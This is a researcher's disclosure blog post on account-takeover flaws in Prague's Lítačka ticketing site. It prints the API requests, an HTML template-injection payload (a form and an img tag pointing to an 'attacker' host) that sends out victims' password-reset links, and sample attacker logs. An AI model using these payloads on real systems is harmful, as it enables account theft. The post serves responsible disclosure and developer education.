Just a few weeks ago, a new regional transportation system called Lítačka (a slang word for prepaid municipal transportation ticket used in some parts of the Czech Republic) was put into operation in Prague and the Central Bohemian Region. The system allows passengers to buy tickets in a mobile application, passengers can also pair their tickets with their payment cards so the validity of the prepaid ticket can later be checked by waving the card near random card readers in transportation vehicles. You could also steal a password reset link right from the unsuspecting user's browser.
We've quickly checked the system after the launch together with my friend Jakub Bouček and found some serious issues in a few minutes. One of the issues allowed account takeover via a botched forgotten password resets.
Let's sign up, we'll need an account. The email address needs to be verified so we'll need to click a link the system has emailed us.
The body of the activation email including the verification link originates in the browser. It is sent to the server, which will then send it to the given email address. If you want to activate any account just check what your browser sends and take the verification link from the request.
The registration starts by sending this JSON request to https://www.pidlitacka.cz/api
:
{
"params": {
"UserName": "litacka@...",
"Password": "...",
"SendPUK": false
},
"action": "CreateLogin"
}
The request in Firefox Developer Tools, the only tool we'll need
The response:
{
"Result": {
"ID": 0,
"Type": {
"Text": null,
"ID": 0
},
"Text": "OK"
},
"Login": {
"UserName": "litacka@...",
"LoginID": ...,
"Active": false
}
}
Then the body of the email is generated in the browser and gets sent to https://www.pidlitacka.cz/api
. The server will then email the message to the address specified:
{
"action": "SendEmail",
"params": {
"LoginID": ...,
"TokenID": 1,
"BodyIsHtml": true,
"Body": "...HTML... activate your account at: <br> <a href=\"https://www.pidlitacka.cz/activation?user=...&id=...\"> ...HTML...",
"Email": "litacka@...",
"Subject": "Account activation"
}
}
You can inspect the request your browser sends and look for https://www.pidlitacka.cz/activation?user=...&id=...
to verify and activate any account. Just open Developer Tools and inspect the api
request. Worth noting is that the user
URL parameter is Base64-encoded email address of the user we're verifying the account for, and the id
parameter is 19 digits where the first 10 digits look like a “timestamp”, the number of seconds since January 1st, 1970, the format often used to specify time.
Jakub had an idea to check the forgotten password feature. If the browser would send the reset link the same way, the attacker would be able to get the link directly from the browser and would be able to take over any account by just resetting the password.
Password reset starts with a username check, the following request is sent to https://www.pidlitacka.cz/api
:
{
"action": "CheckUserName",
"params": {
"UserName": "litacka@..."
}
}
After receiving the response, which also contains "LoginID": ...
, the browser will generate the body of the reset email and will send it to https://www.pidlitacka.cz/api/requestPasswordChange
. The request:
{
"template": "...HTML... {{content}} ...HTML...",
"root": "https://www.pidlitacka.cz/",
"params": {
"email": "litacka@..."
},
"type": "password"
}
Then the browser will display “We've sent you an e-mail with a link to change your password” but the request from the browser has indeed just a placeholder ({{content}}
). The server will replace it with the link and some other text and will send the full message to the user. So I guess that's it.
The full message with the {{content}}
placeholder replaced (Czech version of the message)
Wait, what if we could somehow exfiltrate the HTML which the system has replaced the {{content}}
placeholder with and forward it to our server? Sounds like a plan. The HTML around the {{content}}
placeholder is controlled by the attacker, so to exfiltrate the HTML, the attacker can wrap the placeholder with a form and a textarea
tag:
{
"template": "...HTML... <form action=https://attacker><textarea name=html>{{content}}</textarea><input type=submit value=CHANGE></form> ...HTML...",
"root": "https://www.pidlitacka.cz/",
"params": {
"email": "litacka@..."
},
"type": "password"
}
The user receives an email, sees the CHANGE
button, and clicks it. The browser takes the contents of the attacker-added text field, which now contains the message including the unique reset link, and sends it to the address specified by the attacker.
The delivered message as modified by the attacker (Czech message but you get the idea)
Attacker's server log will contain something like this once the user submits the form:
GET /?html=...%3Ca+href%3D%22https%3A%2F%2Fwww.pidlitacka.cz%2Fpassword-reset%2Fstep2%3Fid%3D...%22%3E... HTTP/2.0
After a bit of decoding: <a href="https://www.pidlitacka.cz/password-reset/step2?id=...">
. Now just take the link, open it in a browser and set the password to essentially take over any account.
“Forgot your password? You can change it here.”
A simple flow chart of the attack:
+-------------+ | Browser | (sends the modified template and the victim's email address) +------+------+ | <form action=attacker>{{content}}</form> | +------v------+ | Lítačka API | (replaces {{content}} by the link, sends email) +------+------+ | <form action=attacker>link</form> | +------v------+ | Victim | (the victim clicks the button in the email) +------+------+ | password reset link | +------v------+ | Attacker | (can set a new password and take over the account) +-------------+
The attack outlined above requires the victim to click the button in the reset email. There's another option – load an image from a server under the attacker's control:
<img src='https://attacker/?html={{content}}'>
The user opens the email, their browser sees the img
tag, and will try to load the image from the URL which now includes the message with the unique password reset link. The Lítačka server has previously replaced the {{content}}
placeholder with it. Note the use of single quotes in the src
attribute, that's because double quotes in the message that replaces {{content}}
would break the src
attribute and prematurely finish it.
Such HTML exfiltration doesn't work in Chrome as it blocks images whose URLs contain both newlines and <
characters. Firefox doesn't so loading the email would result in the request being logged:
GET /?html=...%3Ca%20href=%22https://www.pidlitacka.cz/password-reset/step2?id=...%22%3E... HTTP/2.0
The image request with the exfiltrated link in Firefox Developer Tools (message is in Czech)
The attacker could definitely use both methods and automate it but that's not the point of the article. The flow chart would look similar to when a form field is used, this method just doesn't require a user action.
Together with Jakub Bouček we'd like to ask all web developers, please do not trust anything the browser sends you, thanks. And especially when you send it something, don't expect it to come back intact. Also consider adding security.txt
, it makes reporting security issues much easier and faster. Lítačka has added one since.
As I always do, after finishing the post above I've sent it to the company running the system with a plan of publishing the article in a week (we've discussed the bug on Facebook before authoring the post, so there was no real reason to keep it secret). Their response? Simply wonderful:
+
sign, and one serious issue that despite the attempted fix still allows to activate any account: you could replace the victim's email address with some other in the request from the browser, and the server will send the activation link for the user specified by loginId
(part of the request too) to that other address. You had to put the original address back to the user
parameter for the link to work properly.+
sign in their email address to sign up. They say it's a known bug and that they're fighting with an LDAP server problem. Relatable.“We greatly appreciate the professional approach by Mr. Špaček and his colleague who informed us about a potential security threat in a system that is now in its pilot phase. We're glad that upon the report, we've take immediate steps to improve the security of the regional transportation system. Feedback from experts like this one is very beneficial to us and helps us constantly improve the system for almost 3 million passengers within Prague and Central Bohemia. Thanks to the quick and professional response, there was no abuse.” Vladimir Antonin Bláha, spokesperson of the Operator ICT, a.s.
Thanks goes to Jakub (@JakubBoucek) for cooperation on this one and to the Operator ICT company for handling this incident very nicely. The Internet would be a nicer place if everyone would resolve issues the same way.